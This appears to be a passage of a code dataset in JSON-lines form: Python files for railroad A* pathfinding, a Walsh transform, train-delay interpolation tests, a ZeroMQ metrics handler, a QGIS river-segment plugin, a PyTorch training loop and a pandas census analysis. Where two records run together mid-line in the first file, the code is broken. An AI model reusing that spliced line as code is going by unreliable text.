dictEdges.get(name)\r\n if(name == city2):\r\n closedS[name] = tup[3]\r\n shortPath = findpath(closedS,city2, city1, tup[0])\r\n break\r\n for each in aList:\r\n y1 = dictNodes.get(name)[0]\r\n x1 = dictNodes.get(name)[1]\r\n y2 = dictNodes.get(each)[0]\r\n x2 = dictNodes.get(each)[1]\r\n coorY = ((float((y2)) - minY)*(-15))+750\r\n coorX = ((float((x2)) - minX)*(15))+250\r\n coorY1 = ((float((y1)) - minY)*(-15))+750\r\n coorX1 = ((float((x1)) - minX)*(15))+250\r\n aNewD = d + calcDistance(y1,x1,y2,x2)\r\n someD = calcDistance(y2,x2,y1End,x1End)\r\n if each in closedS:\r\n continue\r\n heappush(openS, (someD+aNewD,each, aNewD, name))\r\n\r\n canvas.create_oval(float(coorX)+2, float(coorY)+2, float(coorX)-2, float(coorY)-2, fill=\"red\")\r\n closedS[name] = tup[3]\r\n canvas.create_oval(float(coorX1)+2, float(coorY1)+2, float(coorX1)-2, float(coorY1)-2, fill=\"green\")\r\n if(update%1000 == 0):\r\n canvas.update()\r\n update+=1\r\n\r\n for x in range(0, len(shortPath)-2):\r\n coorX1 = ((float((dictNodes.get(shortPath[x])[0])) - minY)*(-15))+750\r\n coorY1 = ((float((dictNodes.get(shortPath[x])[1])) - minX)*(15))+250\r\n coorX2 = ((float((dictNodes.get(shortPath[x+1])[0])) - minY)*(-15))+750\r\n coorY2 = ((float((dictNodes.get(shortPath[x+1])[1])) - minX)*(15))+250\r\n canvas.create_line(coorY1, coorX1, coorY2, coorX2, fill=\"blue\", width=2)\r\n if(update % 20 == 0):\r\n canvas.update()\r\n update+=1\r\n\r\nstartTime = time.clock()\r\nromNodes = \"usnodes.txt\"\r\ndictNodes = {}\r\nrN = open(romNodes, \"r\").readlines()\r\nfor x in range(21782):\r\n line = rN[x]\r\n coorList = line.split(\" \")\r\n # G.add_node(str(coorList[0]))\r\n dictNodes[coorList[0]] = (float(coorList[1]),float(coorList[2]))\r\nromEdges = \"usedges.txt\"\r\nrE = open(romEdges, \"r\").readlines()\r\ndictEdges = {}\r\nfor line in rE:\r\n name1 = line.split()\r\n edge1 = (name1[0])\r\n edge2 = (name1[1])\r\n if edge1 not in dictEdges:\r\n dictEdges[edge1] = [edge2]\r\n else:\r\n dictEdges[edge1].append(edge2)\r\n if edge2 not in dictEdges:\r\n dictEdges[edge2] = [edge1]\r\n else:\r\n dictEdges[edge2].append(edge1)\r\n\r\n#------------------This is to make the dictionary for the actual city names--------------------#\r\n\r\nnamesLookup = {}\r\nrrNodeCity = \"usfullnames.txt\"\r\nCityNames = open(rrNodeCity, \"r\").readlines()\r\ncount = 0\r\ntheCityNames = CityNames\r\nfor line in theCityNames:\r\n indvNames = line.split()\r\n if(len(indvNames) == 3):\r\n name = indvNames[1] + \"_\" +indvNames[2]\r\n namesLookup[name] = indvNames[0]\r\n count +=1\r\n else:\r\n namesLookup[indvNames[1]] = indvNames[0]\r\ncityOne = sys.argv[1]\r\ncityTwo = sys.argv[2]\r\ntotald = 0\r\nfor item in dictNodes.keys():\r\n i = dictNodes[item]\r\n for edge in dictEdges[item]:\r\n v = dictNodes[edge]\r\n y1 = i[0]\r\n x1 = i[1]\r\n y2 = v[0]\r\n x2 = v[1]\r\n totald += calcDistance(x1, y1, x2, y2)\r\nprint(\"Total Miles of Railroad: \"+str(totald))\r\ntheTK = Tk()\r\ncanvas = Canvas(theTK, width=1500,height=1500, background=\"white\")\r\ncanvas.pack()\r\n\r\nsmallestX = 1000000000000\r\nsmallestY = 1000000000000\r\nscaled = {}\r\nfor name in dictNodes:\r\n if (float(dictNodes[name][0])) 1 and (n & (n - 1)) == 0\n\n\ndef reverse_bits(n, bits_count):\n reversed_value = 0\n\n for i in range(bits_count):\n next_bit = n & 1\n n >>= 1\n\n reversed_value <<= 1\n reversed_value |= next_bit\n\n return reversed_value\n\n\ndef gray_to_binary(num):\n mask = num\n while mask != 0:\n mask >>= 1\n num ^= mask\n\n return num\n\n\ndef dwt(data, direction=1):\n time_offset = 0.001\n length = len(data)\n\n transformed_result = []\n for n in range(length):\n temp = sum(\n [\n data[i] * walsh_function(\n n if direction == 1 else i, (i if direction == 1 else n) / length + time_offset, length\n ) for i in range(length)\n ]\n )\n\n transformed_result.append(temp)\n\n if direction == 1:\n transformed_result = list(map(lambda x: x / length, transformed_result))\n\n return transformed_result\n\n\ndef rademacher_function(t, k):\n x = np.sin(2 ** k * np.pi * t)\n\n return 1 if x > 0 else -1\n\n\ndef walsh_function(n, t, length):\n r = int(np.log2(length))\n rademacher_values = \\\n [rademacher_function(t, k) ** xor_bit(bit(n, k - 1), bit(n, k)) for k in range(1, r + 1)]\n\n return reduce(lambda x, y: x * y, rademacher_values)\n\n\ndef xor_bit(a, b):\n return +(bool(a) ^ bool(b))\n\n\ndef bit(num, pos):\n if num == 0:\n return 0\n\n mask = 1\n mask <<= pos\n\n return 1 if num & mask != 0 else 0\n","repo_name":"NasterVill/BSUIR_Labs","sub_path":"6 term/DSIP-Digital-Signal-and-Image-Processing-/Lab 3/transform.py","file_name":"transform.py","file_ext":"py","file_size_in_byte":3520,"program_lang":"python","lang":"en","doc_type":"code","stars":23,"dataset":"github-code","pt":"72"} +{"seq_id":"460118249","text":"# coding: utf8\nfrom __future__ import unicode_literals, absolute_import, division, print_function\n\nimport mock\nimport pytest\nfrom hamcrest import assert_that, has_properties\n\nfrom common.apps.suburban_events.factories import ThreadStationStateFactory, EventStateFactory\nfrom common.apps.suburban_events.forecast import fact_interpolation\nfrom common.apps.suburban_events.forecast.fact_interpolation import interpolate_tss_path, interpolate_tss_states\nfrom common.apps.suburban_events.utils import EventStateType\nfrom common.tester.factories import create_rtstation, create_thread, create_station\n\npytestmark = [pytest.mark.mongouser, pytest.mark.dbuser]\n\n\ndef create_tss(arrival=None, departure=None):\n tss = ThreadStationStateFactory()\n tss.rts = create_rtstation(thread=create_thread(), station=create_station())\n\n if arrival is not None:\n tss.set_arrival_state(EventStateFactory(minutes_from=arrival))\n\n if departure is not None:\n tss.set_departure_state(EventStateFactory(minutes_from=departure))\n\n return tss\n\n\nclass TestInterpolateTss(object):\n @pytest.mark.parametrize(\n 'prev_late, next_late, exp_minutes_from, exp_minutes_to, arrival, departure',\n [\n [0, 0, 0, 0, False, False],\n [-10, -20, 0, 0, False, False],\n [11, 10, 11, 11, False, False],\n [8, 9, 9, 9, True, False],\n [1000, 100, 100, 1000, False, False],\n [12, 0, 1, 12, False, False],\n [1, 0, 1, 1, False, False],\n [8, 9, None, None, True, True],\n ]\n )\n def test_valid(self, prev_late, next_late, exp_minutes_from, exp_minutes_to, arrival, departure):\n prev_fact = EventStateFactory(type=EventStateType.FACT, minutes_from=prev_late, minutes_to=prev_late)\n next_fact = EventStateFactory(type=EventStateType.FACT, minutes_from=next_late, minutes_to=next_late)\n\n tss = create_tss()\n if arrival:\n tss.set_arrival_state(EventStateFactory(type=EventStateType.FACT, minutes_from=666))\n\n if departure:\n tss.set_departure_state(EventStateFactory(type=EventStateType.FACT, minutes_from=777))\n\n interpolate_tss_states(prev_fact, next_fact, tss)\n\n if not arrival:\n assert_that(tss.arrival_state, has_properties(\n type=EventStateType.FACT_INTERPOLATED,\n minutes_from=exp_minutes_from,\n minutes_to=exp_minutes_to,\n thread_uid=tss.rts.thread.uid\n ))\n else:\n assert_that(tss.arrival_state, has_properties(\n type=EventStateType.FACT,\n minutes_from=666,\n ))\n\n if not departure:\n assert_that(tss.departure_state, has_properties(\n type=EventStateType.FACT_INTERPOLATED,\n minutes_from=exp_minutes_from,\n minutes_to=exp_minutes_to,\n thread_uid=tss.rts.thread.uid\n ))\n else:\n assert_that(tss.departure_state, has_properties(\n type=EventStateType.FACT,\n minutes_from=777,\n ))\n\n\nclass TestInterpolateTssPath(object):\n def test_valid(self):\n tss0 = create_tss()\n tss1 = create_tss(arrival=None, departure=0)\n tss2 = create_tss()\n tss3 = create_tss(arrival=8, departure=10)\n tss4 = create_tss()\n tss5 = create_tss(arrival=18)\n tss6 = create_tss()\n tss7 = create_tss()\n tss8 = create_tss(departure=20)\n tss9 = create_tss(arrival=20)\n tss10 = create_tss()\n\n tss_path = [tss0, tss1, tss2, tss3, tss4, tss5, tss6, tss7, tss8, tss9, tss10]\n\n expected = [\n [0, 8, tss2],\n [10, 18, tss4],\n [18, 20, tss5],\n [18, 20, tss6],\n [18, 20, tss7],\n [18, 20, tss8],\n ]\n\n with mock.patch.object(fact_interpolation, 'interpolate_tss_states') as m_interpolate_tss_states:\n interpolate_tss_path(tss_path)\n\n assert len(m_interpolate_tss_states.call_args_list) == len(expected)\n\n for i, (exp_prev, exp_next, exp_tss) in enumerate(expected):\n call = m_interpolate_tss_states.call_args_list[i][0]\n assert_that(call[0], has_properties(minutes_from=exp_prev))\n assert_that(call[1], has_properties(minutes_from=exp_next))\n assert_that(call[2], exp_tss)\n","repo_name":"Alexander-Berg/2022-test-examples-3","sub_path":"travel/tests/apps/suburban_events/forecast/test_fact_interpolation.py","file_name":"test_fact_interpolation.py","file_ext":"py","file_size_in_byte":4440,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"17781735900","text":"# coding=utf-8\n\n\"\"\"\nOutput the collected values to a ZeroMQ pub/ sub channel\n\"\"\"\n\nfrom diamond.handler.Handler import Handler\n\nimport random \nimport time\nimport numpy\n\ntry:\n import zmq\nexcept ImportError:\n zmq = None\n\nclass zmqHandler(Handler):\n \"\"\"\n Implements the abstract Handler class.\n Sending data to a ZeroMQ pub channel\n \n Arguments:\n Handler {[type]} -- [description]\n \"\"\"\n\n def __init__(self, config=None):\n \"\"\"\n Create a new instance of zmqHandler class\n \n Keyword Arguments:\n config {[type]} -- [description] (default: {None})\n \"\"\"\n\n # Initialize Handler\n Handler.__init__(self, config)\n\n if not zmq:\n self.log.error(\"zmq import failed. Handler disabled\")\n self.enabled = False\n return\n\n # Initialize data \n self.context = None\n self.socket = None\n \n # Initialize options\n self.port = int(self.config['port'])\n\n # Create ZMQ pub socket and bind\n \"\"\"try:\n self._bind()\n except Exception as e:\n print(\"SSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS\", e)\"\"\"\n\n def get_default_config_help(self):\n \"\"\"\n Returns the help text for the configuration options for the handler\n \"\"\"\n config = super(zmqHandler, self).get_default_config_help()\n\n config.update({\n 'port': '',\n })\n\n return config\n\n def get_default_config(self):\n \"\"\"\n Returns the default config for the handler\n \"\"\"\n config = super(zmqHandler, self).get_default_config()\n\n config.update({\n 'port': 1234,\n })\n\n return config\n\n def _bind(self):\n \"\"\"\n Create PUB socket and bind\n \"\"\"\n if not zmq:\n return\n \n #self.context = zmq.Context()\n #self.context = zmq.Context.instance()\n \n #self.socket = self.context.socket(zmq.PUB)\n #self.socket = self.context.socket(zmq.PUSH)\n \n #print(\"@@@@@@@@@@@@@@@@@@@@@@@@Zero MQ Port:\", self.port)\n #self.socket.bind(\"tcp://127.0.0.1:5555\") # %s\" % self.port)\n #self.socket.setsockopt(zmq.SUBSCRIBE, b\"\")\n \n #self.socket.connect(\"tcp://127.0.0.1:5555\") # %s\" % self.port)\n #self.socket.setsockopt(zmq.SNDHWM, 1)\n \n #self.socket.bind(\"ipc:///tmp/zmqtest\") \n\n #time.sleep(1)\n\n ctx = zmq.Context.instance()\n s = ctx.socket(zmq.REP)\n s.bind(\"tcp://127.0.0.1:5556\")\n s.recv()\n s.send(b\"GO\")\n #time.sleep(1)\n\n #self.socket.send_pyobj([1,2,3])\n #self.socket.send_pyobj([\"Hello\", \"Miltos\"])\n #time.sleep(1)\n\n def __del__(self):\n \"\"\"\n Destroy instance of the zmqHandler class\n \"\"\"\n pass\n\n def process(self, metric):\n \"\"\"\n Process a metric and send it to zmq pub socket\n \n Arguments:\n metric {[type]} -- [description]\n \"\"\"\n print(\"@@@@@@@@@@@Le Jibe\")\n if not zmq:\n self.log.info(\"ZMQ not available\")\n return\n\n try:\n self.context = zmq.Context.instance()\n self.socket = self.context.socket(zmq.PUB)\n self.socket.bind(\"tcp://127.0.0.1:5555\") # %s\" % self.port)\n \n self._bind()\n except Exception as e:\n print(\"SSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS\", e)\n\n try:\n #self._bind()\n \n #ctx = zmq.Context.instance()\n #s = ctx.socket(zmq.REP)\n #s.bind(\"tcp://*:1235\")\n #s.recv()\n #s.send(b\"GO\")\n\n # Send data as ...\n # self.socket.send(\"%s\" % str(metric))\n print(\"```````````````````````````Where is ZeroMQ \")\n \n #self.s.recv()\n #self.s.send(b\"GO\")\n \n self.socket.send_pyobj([\"Hello\"])\n #self.socket.send(b\"Hello\")\n #time.sleep(1)\n \n \"\"\"for i in range(10):\n #time.sleep(2)\n topic = random.randrange(999, 10005)\n messagedata = numpy.random.rand(2, 2)\n \n self.socket.send_pyobj(messagedata)\n \n #time.sleep(0.1)\n print(\"Ready to Send PyObject #\", i, \" = ... \", messagedata)\"\"\"\n except Exception as e:\n print(\"---------------->\", e)\n \n \n","repo_name":"mvimplis2013/sysstats-collector","sub_path":"src/diamond/handler/zmq_pubsub.py","file_name":"zmq_pubsub.py","file_ext":"py","file_size_in_byte":4478,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"3240096144","text":"# -*- coding: utf-8 -*-\nfrom qgis.core import QgsProject\nfrom qgis.core import QgsProperty\n#from qgis.core import QCoreApplication\n\ndef createPolygon_func(self, selectedLayer, seg_ct, transectWidth):\n import processing\n root = QgsProject.instance().layerTreeRoot()\n\n extendWidth = transectWidth / 2\n\n #get active layer\n iface = self.iface\n alyr=iface.activeLayer()\n \n #remove old layers\n for lyr in QgsProject.instance().mapLayers().values():\n if lyr.name() == \"Transects\":\n transect_lyr=QgsProject.instance().mapLayersByName(\"Transects\")[0]\n QgsProject.instance().removeMapLayers([transect_lyr.id()])\n elif lyr.name() == \"Segments\":\n seg_lyr=QgsProject.instance().mapLayersByName(\"Segments\")[0]\n QgsProject.instance().removeMapLayers([seg_lyr.id()])\n elif lyr.name() == \"Centerline\":\n cl_lyr=QgsProject.instance().mapLayersByName(\"Centerline\")[0]\n QgsProject.instance().removeMapLayers([cl_lyr.id()])\n\n #Get length of river centerline\n #params = { 'CALC_METHOD' : 0, 'INPUT' : QgsProcessingFeatureSourceDefinition('G:/2ERDC02/GIS/Demo_Files_31Mar2021/NapaRiver_CL.shp'), 'OUTPUT' : 'TEMPORARY_OUTPUT' }\n params = { 'CALC_METHOD' : 0, 'INPUT' : selectedLayer, 'OUTPUT' : 'TEMPORARY_OUTPUT' }\n result_len = processing.run(\"qgis:exportaddgeometrycolumns\", params)\n result_layer1 = result_len['OUTPUT']\n len=0\n for feature in result_layer1.getFeatures():\n len += feature[\"length\"]\n\n #calc segment length\n seg_len = round(len/seg_ct,4)\n\n #Get points with angle\n #params = { 'DISTANCE' : seg_len, 'END_OFFSET' : 0, 'INPUT' : QgsProcessingFeatureSourceDefinition('G:/2ERDC02/GIS/Demo_Files_31Mar2021/NapaRiver_CL.shp'), 'OUTPUT' : 'TEMPORARY_OUTPUT', 'START_OFFSET' : 0 }\n params = { 'DISTANCE' : seg_len, 'END_OFFSET' : 0, 'INPUT' : selectedLayer, 'OUTPUT' : 'TEMPORARY_OUTPUT', 'START_OFFSET' : 0 }\n result_pts = processing.run(\"native:pointsalonglines\", params)\n result_layer_pts = result_pts['OUTPUT']\n #QgsProject.instance().addMapLayer(result_layer_pts)\n\n #Extend and rotate lines\n params ={ 'EXPRESSION' : 'extend(\\r\\n make_line(\\r\\n $geometry,\\r\\n project (\\r\\n $geometry, \\r\\n '+str(extendWidth) +', \\r\\n radians(\\\"angle\\\"-90))\\r\\n ),\\r\\n '+str(extendWidth) +',\\r\\n 0\\r\\n)', 'INPUT' : result_layer_pts, 'OUTPUT' : 'TEMPORARY_OUTPUT', 'OUTPUT_GEOMETRY' : 1, 'WITH_M' : False, 'WITH_Z' : False }\n result_rot = processing.run(\"native:geometrybyexpression\", params)\n result_layer_rot = result_rot['OUTPUT']\n\n #populate order id\n params={ 'FIELD_LENGTH' : 10, 'FIELD_NAME' : 'order_id', 'FIELD_PRECISION' : 4, 'FIELD_TYPE' : 1, 'INPUT' : result_layer_rot, 'OUTPUT' : 'TEMPORARY_OUTPUT' }\n result_rot = processing.run(\"native:addfieldtoattributestable\", params)\n result_layer_rot = result_rot['OUTPUT']\n params={ 'FIELD_LENGTH' : 0, 'FIELD_NAME' : 'order_id', 'FIELD_PRECISION' : 0, 'FIELD_TYPE' : 1, 'FORMULA' : '@row_number', 'INPUT' : result_layer_rot, 'OUTPUT' : 'TEMPORARY_OUTPUT' }\n result_rot = processing.run(\"native:fieldcalculator\", params)\n result_layer_rot = result_rot['OUTPUT']\n #remove existing Transects Layer\n for lyr in QgsProject.instance().mapLayers().values():\n if lyr.name() == \"Transects\":\n QgsProject.instance().removeMapLayers([lyr.id()])\n result_layer_rot.setName(\"Transects\")\n QgsProject.instance().addMapLayer(result_layer_rot)\n\n #Get starting points\n params = { 'INPUT' : result_layer_rot, 'OUTPUT' : 'TEMPORARY_OUTPUT', 'VERTICES' : '0' }\n result_sp = processing.run(\"native:extractspecificvertices\", params)\n result_layer_sp = result_sp['OUTPUT']\n #QgsProject.instance().addMapLayer(result_layer_sp)\n\n #Get end points\n params = { 'INPUT' : result_layer_rot, 'OUTPUT' : 'TEMPORARY_OUTPUT', 'VERTICES' : '-1' }\n result_ep = processing.run(\"native:extractspecificvertices\", params)\n result_layer_ep = result_ep['OUTPUT']\n #QgsProject.instance().addMapLayer(result_layer_ep)\n\n #connect paths\n params = { 'CLOSE_PATH' : False, 'GROUP_EXPRESSION' : '', 'INPUT' : result_layer_sp, 'NATURAL_SORT' : False, 'ORDER_EXPRESSION' : '', 'OUTPUT' : 'TEMPORARY_OUTPUT' }\n result_p1 = processing.run(\"native:pointstopath\", params)\n result_layer_p1 = result_p1['OUTPUT']\n #QgsProject.instance().addMapLayer(result_layer_p1)\n\n params = { 'CLOSE_PATH' : False, 'GROUP_EXPRESSION' : '', 'INPUT' : result_layer_ep, 'NATURAL_SORT' : False, 'ORDER_EXPRESSION' : '', 'OUTPUT' : 'TEMPORARY_OUTPUT' }\n result_p2 = processing.run(\"native:pointstopath\", params)\n result_layer_p2 = result_p2['OUTPUT']\n #QgsProject.instance().addMapLayer(result_layer_p2)\n\n #merge paths\n params={ 'CRS' : None, 'LAYERS' : [result_layer_rot,result_layer_p1,result_layer_p2], 'OUTPUT' : 'TEMPORARY_OUTPUT' }\n result_lines = processing.run(\"native:mergevectorlayers\", params)\n result_layer_lines = result_lines['OUTPUT']\n #QgsProject.instance().addMapLayer(result_layer_lines)\n\n #polygonize\n params={ 'INPUT' : result_layer_lines, 'KEEP_FIELDS' : False, 'OUTPUT' : 'TEMPORARY_OUTPUT' }\n result_poly = processing.run(\"native:polygonize\", params)\n result_layer_poly = result_poly['OUTPUT']\n #QgsProject.instance().addMapLayer(result_layer_poly)\n\n #add number ID field\n params={ 'FIELD_LENGTH' : 10, 'FIELD_NAME' : 'order_id', 'FIELD_PRECISION' : 4, 'FIELD_TYPE' : 1, 'INPUT' : result_layer_poly, 'OUTPUT' : 'TEMPORARY_OUTPUT' }\n result_poly = processing.run(\"native:addfieldtoattributestable\", params)\n result_layer_poly = result_poly['OUTPUT']\n #QgsProject.instance().addMapLayer(result_layer_poly)\n\n #populate order id\n params={ 'FIELD_LENGTH' : 0, 'FIELD_NAME' : 'order_id', 'FIELD_PRECISION' : 0, 'FIELD_TYPE' : 1, 'FORMULA' : '@row_number', 'INPUT' : result_layer_poly, 'OUTPUT' : 'TEMPORARY_OUTPUT' }\n result_poly = processing.run(\"native:fieldcalculator\", params)\n result_layer_poly = result_poly['OUTPUT']\n \n #add SEGMENT fields\n params={ 'FIELD_LENGTH' : 10, 'FIELD_NAME' : 'SEGMENT', 'FIELD_PRECISION' : 4, 'FIELD_TYPE' : 1, 'INPUT' : result_layer_poly, 'OUTPUT' : 'TEMPORARY_OUTPUT' }\n result_poly = processing.run(\"native:addfieldtoattributestable\", params)\n params={ 'FIELD_LENGTH' : 0, 'FIELD_NAME' : 'SEGMENT', 'FIELD_PRECISION' : 0, 'FIELD_TYPE' : 1, 'FORMULA' : '@row_number', 'INPUT' : result_layer_poly, 'OUTPUT' : 'TEMPORARY_OUTPUT' }\n result_poly = processing.run(\"native:fieldcalculator\", params)\n result_layer_poly = result_poly['OUTPUT']\n \n \n #remove existing Segments Layer\n for lyr in QgsProject.instance().mapLayers().values():\n if lyr.name() == \"Segments\":\n QgsProject.instance().removeMapLayers([lyr.id()])\n result_layer_poly.setName(\"Segments\")\n QgsProject.instance().addMapLayer(result_layer_poly)\n \n #Create centerline layer\n #split centerline by transects\n params={ 'INPUT' : selectedLayer, 'LINES' : result_layer_rot, 'OUTPUT' : 'TEMPORARY_OUTPUT' }\n result_cl_seg = processing.run(\"native:splitwithlines\", params)\n result_layer_cl_seg = result_cl_seg['OUTPUT']\n \n #add length field\n params={ 'CALC_METHOD' : 0, 'INPUT' : result_layer_cl_seg, 'OUTPUT' : 'TEMPORARY_OUTPUT' }\n result_cl_seg = processing.run(\"qgis:exportaddgeometrycolumns\", params)\n result_layer_cl_seg = result_cl_seg['OUTPUT']\n \n #remove artifact segments\n params={ 'EXPRESSION' : ' \\\"length\\\" >0.1', 'INPUT' : result_layer_cl_seg, 'OUTPUT' : 'TEMPORARY_OUTPUT' }\n result_cl_seg = processing.run(\"native:extractbyexpression\", params)\n result_layer_cl_seg = result_cl_seg['OUTPUT']\n\n #match segments\n params={ 'DISCARD_NONMATCHING' : True, 'INPUT' : result_layer_cl_seg, 'JOIN' : result_layer_poly, 'JOIN_FIELDS' : [], 'METHOD' : 2, 'OUTPUT' : 'TEMPORARY_OUTPUT', 'PREDICATE' : [0], 'PREFIX' : '' }\n result_cl_seg3 = processing.run(\"native:joinattributesbylocation\", params)\n result_layer_cl_seg3 = result_cl_seg3['OUTPUT']\n \n #fix geometry\n params={ 'INPUT' : result_layer_cl_seg3, 'OUTPUT' : 'TEMPORARY_OUTPUT' }\n result_cl_seg = processing.run(\"native:fixgeometries\", params)\n result_layer_cl = result_cl_seg['OUTPUT']\n\n #add required fields to CL\n params={ 'FIELD_LENGTH' : 10, 'FIELD_NAME' : 'ELWS', 'FIELD_PRECISION' : 4, 'FIELD_TYPE' : 1, 'INPUT' : result_layer_cl, 'OUTPUT' : 'TEMPORARY_OUTPUT' }\n result_cl = processing.run(\"native:addfieldtoattributestable\", params)\n result_layer_cl = result_cl['OUTPUT']\n params={ 'FIELD_LENGTH' : 10, 'FIELD_NAME' : 'FRIC', 'FIELD_PRECISION' : 4, 'FIELD_TYPE' : 1, 'INPUT' : result_layer_cl, 'OUTPUT' : 'TEMPORARY_OUTPUT' }\n result_cl = processing.run(\"native:addfieldtoattributestable\", params)\n result_layer_cl = result_cl['OUTPUT']\n \n #remove extra fields\n params={ 'FIELDS' : ['order_id', 'SEGMENT', 'ELWS', 'FRIC'], 'INPUT' : result_layer_cl, 'OUTPUT' : 'TEMPORARY_OUTPUT' }\n result_cl = processing.run(\"native:retainfields\", params)\n result_layer_cl = result_cl['OUTPUT']\n\n #remove existing Centerline Layer\n for lyr in QgsProject.instance().mapLayers().values():\n if lyr.name() == \"Centerline\":\n QgsProject.instance().removeMapLayers([lyr.id()])\n result_layer_cl.setName(\"Centerline\")\n QgsProject.instance().addMapLayer(result_layer_cl)\n\n #run convex check function\n segmentLayer = QgsProject.instance().mapLayersByName('Segments')[0]\n self.convexCheck(segmentLayer)\n\n #run centerline check function\n segmentLayer = QgsProject.instance().mapLayersByName('Segments')[0]\n transectLayer = QgsProject.instance().mapLayersByName('Transects')[0]\n #centerlineLayer = selectedLayer\n centerlineLayer = QgsProject.instance().mapLayersByName('Centerline')[0]\n self.centerlineCheck(segmentLayer, transectLayer, centerlineLayer)\n\n #run symbology check function\n segmentLayer = QgsProject.instance().mapLayersByName('Segments')[0]\n transectLayer = QgsProject.instance().mapLayersByName('Transects')[0]\n #centerlineLayer = selectedLayer\n centerlineLayer = QgsProject.instance().mapLayersByName('Centerline')[0]\n self.symbologyCheck(segmentLayer, transectLayer, centerlineLayer)\n","repo_name":"LimnoTech/CEQUALW2geomTools","sub_path":"QGIS_plugin/cequal_bathy/create_poly.py","file_name":"create_poly.py","file_ext":"py","file_size_in_byte":10283,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"18141262465","text":"import torch\nimport time\nimport copy\nimport os\nimport pandas as pd\nimport numpy as np\n\ndef train_model(model, data_loaders, criterion, optimizer, scheduler, device, run_folder_path, num_epochs=25):\n since = time.time()\n\n train_acc_history = []\n train_loss_history = []\n val_acc_history = []\n val_loss_history = []\n\n best_model_wts = copy.deepcopy(model.state_dict())\n best_acc = 0.0\n\n for epoch in range(num_epochs):\n\n print('Epoch {}/{}'.format(epoch+1, num_epochs))\n print('-' * 10)\n\n # Each epoch has a training and validation phase\n for phase in ['train', 'val']:\n if phase == 'train':\n model.train() # Set model to training mode\n else:\n model.eval() # Set model to evaluate mode\n\n running_loss = 0.0\n running_corrects = 0\n\n # Iterate over data\n for inputs, labels in data_loaders[phase]:\n inputs = inputs.to(device)\n labels = labels.to(device)\n\n # zero the parameter gradients\n optimizer.zero_grad()\n\n # forward (track history if only in train)\n with torch.set_grad_enabled(phase == 'train'):\n outputs = model(inputs)\n loss = criterion(outputs, labels)\n\n _, preds = torch.max(outputs, 1)\n\n if phase == 'train':\n loss.backward()\n optimizer.step()\n\n # statistics\n running_loss += loss.item() * inputs.size(0)\n running_corrects += torch.sum(preds == labels.data)\n\n if phase == 'train':\n scheduler.step()\n\n epoch_loss = running_loss / len(data_loaders[phase].dataset)\n epoch_acc = running_corrects.double() / len(data_loaders[phase].dataset)\n epoch_acc = epoch_acc.cpu().detach()\n\n print('{} Loss: {:.4f} Acc: {:.4f}'.format(phase, epoch_loss, epoch_acc))\n\n # append the results\n if phase == 'val':\n val_loss_history.append(epoch_loss)\n val_acc_history.append(epoch_acc)\n else:\n train_loss_history.append(epoch_loss)\n train_acc_history.append(epoch_acc)\n\n # deep copy the model\n if phase == 'val' and epoch_acc > best_acc:\n best_acc = epoch_acc\n best_model_wts = copy.deepcopy(model.state_dict())\n\n # Store checkpoints\n CHECKPOINT_DIR_PATH = os.path.join(run_folder_path, './training_checkpoints')\n\n if not os.path.exists(CHECKPOINT_DIR_PATH):\n os.makedirs(CHECKPOINT_DIR_PATH)\n\n PATH = os.path.join(CHECKPOINT_DIR_PATH, 'weight.pth')\n torch.save({'model_state_dict': best_model_wts}, PATH)\n\n # Store training_logger\n logger_path = os.path.join(run_folder_path, 'training_logger.csv')\n loss_metrics = np.array([\n train_loss_history, train_acc_history,\n val_loss_history, val_acc_history])\n loss_metrics_df = pd.DataFrame(loss_metrics.T, columns = ['train_loss', 'train_acc', 'val_loss', 'val_acc'])\n loss_metrics_df.to_csv(logger_path)\n\n time_elapsed = time.time() - since\n print('\\nTraining complete in {:.0f}m {:.0f}s'.format(time_elapsed // 60, time_elapsed % 60))\n\n # load best model weights\n model.load_state_dict(best_model_wts)\n\n return model\n","repo_name":"davidlinn89222/self-driving-robot","sub_path":"tool/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":3440,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"26938953197","text":"import pandas as pd\n# read csv file\ndf = pd.read_csv('usa_000002.csv.gz')\ncodes = pd.read_csv('occupation_code - Sheet1 (1).csv')\n# rename columns for code csv file\ncodes.rename(columns={'2010 Census Occupation Code': 'code', 'Unnamed: 1':'occ'}, inplace=True)\n# there are 552 different occupations.\n\n# only include necessary columns\ndf = df[['sec', 'occ', 'sex_sp', 'occ_sp']]\n# drop NaN values\ndf.dropna(inplace=True)\n# drop 0 values\ndf = df[(df != 0).all(1)]\n# drop mirror duplicates\ndf = df.iloc[::2]\ndf['occ'] = df['occ'].astype('int')\ndf['occ_sp'] = df['occ_sp'].astype('int')\n\nvalue_counts2 = pd.DataFrame(df['occ_sp'].value_counts())\nvalue_counts2.reset_index(inplace=True)\nvalue_counts = pd.DataFrame(df['occ'].value_counts())\n\n\n\nvalue_counts.reset_index(inplace=True)\n\ndf = pd.merge(left=value_counts2,right=codes, left_on='index', right_on='code')\nfirst_occ_count = df\nsecond_occ_count = df\n\nsecond_occ_count = second_occ_count[['occ', 'occ_sp']]\nsecond_occ_count\nfirst_occ_count = first_occ_count[['occ_y', 'occ_x']]\n\nfirst_occ_count\n\nmerged_occ_count = pd.merge(left=first_occ_count,right=second_occ_count, left_on='occ_y', right_on='occ')\nmerged_occ_count = merged_occ_count[['occ', 'occ_sp', 'occ_x']]\nsum_col = merged_occ_count['occ_sp'] + merged_occ_count['occ_x']\n\nmerged_occ_count['sum'] = sum_col\nmerged_occ_count = merged_occ_count.sort_values(by=['sum'], ascending=False)\nmerged_occ_count = merged_occ_count[['occ', 'sum']]\nmerged_occ_count.head(50)\n\n\n\n# merge code dataframe with occupation dataframe\n#df1 = pd.merge(df,codes,how = 'inner', left_on='occ', right_on='code')\npd.set_option('display.max_rows', 479)\n\nboth = pd.concat([df_count, merged_count], axis=1)\n\ndf.rename(columns={'sec':'sex', 'occ':'occupation', 'sex_sp':'sex_of_spouse', 'occ_sp':'occupation_of_spouse'}, inplace=True)\n\n\ndf = pd.merge(left=df,right=codes, left_on='occ_sp', right_on='code')\ndf\n\n# count how many people in each profession for both cols\nocc_x_count = data1['occ'].value_counts()\n\nocc_y_count = data['occ_y'].value_counts()\n# convert count to DataFrame\nocc_x_count = 